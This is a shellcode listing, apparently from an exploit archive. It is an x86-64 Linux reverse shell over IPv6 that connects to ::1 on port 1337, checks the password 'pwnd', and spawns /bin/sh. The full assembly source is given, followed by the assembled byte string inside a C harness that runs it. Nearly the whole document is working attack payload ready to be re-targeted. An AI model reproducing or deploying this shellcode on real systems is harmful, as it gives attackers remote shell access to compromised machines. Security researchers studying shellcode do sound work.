Linux/x64 - Reverse (::1:1337/TCP) + IPv6 + Password (pwnd) Shellcode (115 bytes)

/*
; Title   : Reverse Shell (IPv6) with Password - Shellcode
; Author  : Hashim Jawad @ihack4falafel
; OS      : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
; Arch    : x86_64
; Size    : 115 bytes
 
section .text
 
global _start
 
_start:
 
    ; int socket(int domain, int type, int protocol)
    ; rax=41, rdi=10, rsi=1, rdx=0
    xor esi,esi
    mul esi                
    inc esi
    push 10 
    pop rdi
    add al, 41
    syscall
 
    ; save socket fd in rdi
    xchg rbx,rax
 
    ; struct sockaddr_in6 struct
    push rdx            ; scope id = 0
    mov rcx,0xFEFFFFFFFFFFFFFF      ; link local address ::1
    not rcx
    push rcx
    push rdx
    push rdx                        ; sin6_flowinfo=0
    push word 0x3905        ; port 1337
    push word 10            ; sin6_family
 
    ; int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen)
    ; rax=42, rdi=rbx(fd), rsi=sockaddr_inet6, rdx=28 (length)
    push    rbx
    pop     rdi
    push    rsp
    pop     rsi
    push    28
    pop     rdx
    push    42
    pop     rax
    syscall
 
    ; dup2 (new, old)
    ; rax=33, rdi=new fd, rsi=0,1,2 (stdin, stdout, stderr)
    xchg   rsi, rax
    push 0x3
    pop rsi
_loop:
    push 0x21
    pop rax
    dec esi
    syscall
    loopnz _loop
 
    ; read (int fd, void *bf, size_t count)
    ; rax=0, rdi=0 (stdin), rsi=rsp, rdx=4 (pwnd)
    xor rax, rax
    push rax
    pop rdi
    push rax
    push rsp
    pop rsi
    push 0x4
    pop rdx
    syscall
 
    ; check passcode (pwnd)
    push 0x646e7770
    pop rbx
    cmp dword [rsi], ebx
    jne _nop
 
    ; int execve(cont char *filename, char *const argv[], char *const envp[])
    ; rax=59, rdi=/bin//sh, rsi=0, rdx=0
    xor rax, rax
    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx
    push rsp
    pop rdi
    push rax
    push rsp
    pop rsi
    cdq
    push 0x3b
    pop rax
    syscall
 
_nop:
    nop
*/
 
#include<stdio.h>
#include<string.h>
  
  
unsigned char code[] = \
"\x31\xf6\xf7\xe6\xff\xc6\x6a\x0a\x5f\x04\x29\x0f\x05\x48\x93\x52\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xfe\x48\xf7\xd1\x51\x52\x52\x66\x68\x05\x39\x66\x6a\x0a\x53\x5f\x54\x5e\x6a\x1c\x5a\x6a\x2a\x58\x0f\x05\x48\x96\x6a\x03\x5e\x6a\x21\x58\xff\xce\x0f\x05\xe0\xf7\x48\x31\xc0\x50\x5f\x50\x54\x5e\x6a\x04\x5a\x0f\x05\x68\x70\x77\x6e\x64\x5b\x39\x1e\x75\x1a\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5e\x99\x6a\x3b\x58\x0f\x05\x90";
 
main()
{
  
printf("Shellcode Length:  %d\n", (int)strlen(code));
  
int (*ret)() = (int(*)())code;
  
ret();
  
}